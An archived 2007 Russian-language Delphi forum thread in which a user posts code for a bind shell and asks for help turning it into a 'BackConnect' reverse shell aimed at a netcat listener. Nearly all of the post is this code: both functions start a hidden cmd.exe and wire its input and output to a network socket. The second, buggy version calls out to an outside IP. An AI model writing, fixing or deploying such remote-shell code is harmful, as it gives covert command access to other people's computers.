Форум: "Сети";
Текущий архив: 2007.10.07;
Скачать: [xml.tar.bz2];
ВнизBackConnect на Delphi помогите плз..... Найти похожие ветки
← →
22b (2007-02-10 19:29) [0]Добрый день....
столкнулся я со следуюющей проблемой реализовал вывод cmd в порт локальный...вот ф-я:
[CODE]
unction SetShell(port:integer):boolean;
var
WSAData: TWSAData;
FSocket: integer;
SockAddrIn: TSockAddrIn;
sHandle: dword;
St: TStartupInfo;
Pr: TProcessInformation;
begin
WSAStartup($202, WSAData);
FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(port);
bind(FSocket, SockAddrIn, 16);
listen(FSocket, 0);
while true do
begin
sHandle := accept(FSocket, nil, 0);
if sHandle <> INVALID_SOCKET then
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_HIDE;
St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
St.hStdInput := sHandle;
St.hStdOutput := sHandle;
St.hStdError := sHandle;
CreateProcess(nil, "cmd.exe", nil, nil, true, 0, nil, nil, St, Pr);
CloseHandle(sHandle);
CloseHandle(Pr.hProcess);
CloseHandle(Pr.hThread);
end;
end;
end;
[/CODE]
А вот сейчас задумал реализовать BackConnect на открытый на прослушку порт нетката и ничего не могу поделать.... не работает и все
вот что получилось у меня в коде...
[CODE]
function SetShell(port:integer;ip:string):boolean;
var
WSAData: TWSAData;
FSocket: integer;
SockAddrOut: TSockAddrIn;
sHandle: dword;
St: TStartupInfo;
Pr: TProcessInformation;
begin
WSAStartup($202, WSAData);
FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
SockAddrOut.sin_family := AF_INET;
SockAddrOut.sin_port := htons(port);
SockAddrOut.sin_addr:=LookupName(ip);
connect(FSocket, SockAddrOut, sizeof(SockAddrOut));
ShowMessage(inttostr(sHandle));
//listen(FSocket, 0);
//sHandle := accept(FSocket, nil, size);
if sHandle <> INVALID_SOCKET then
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_HIDE;
St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
St.hStdInput := sHandle;
St.hStdOutput := sHandle;
St.hStdError := sHandle;
CreateProcess(nil, "cmd.exe", nil, nil, true, 0, nil, nil, St, Pr);
CloseHandle(sHandle);
CloseHandle(Pr.hProcess);
CloseHandle(Pr.hThread);
end;
end;
[/CODE]
Заранеее спасибо за ответ...
← →
22b (2007-02-10 19:34) [1]не актуально проблема решена!!!!!!!
Страницы: 1 вся ветка
Форум: "Сети";
Текущий архив: 2007.10.07;
Скачать: [xml.tar.bz2];
Память: 0.45 MB
Время: 0.041 c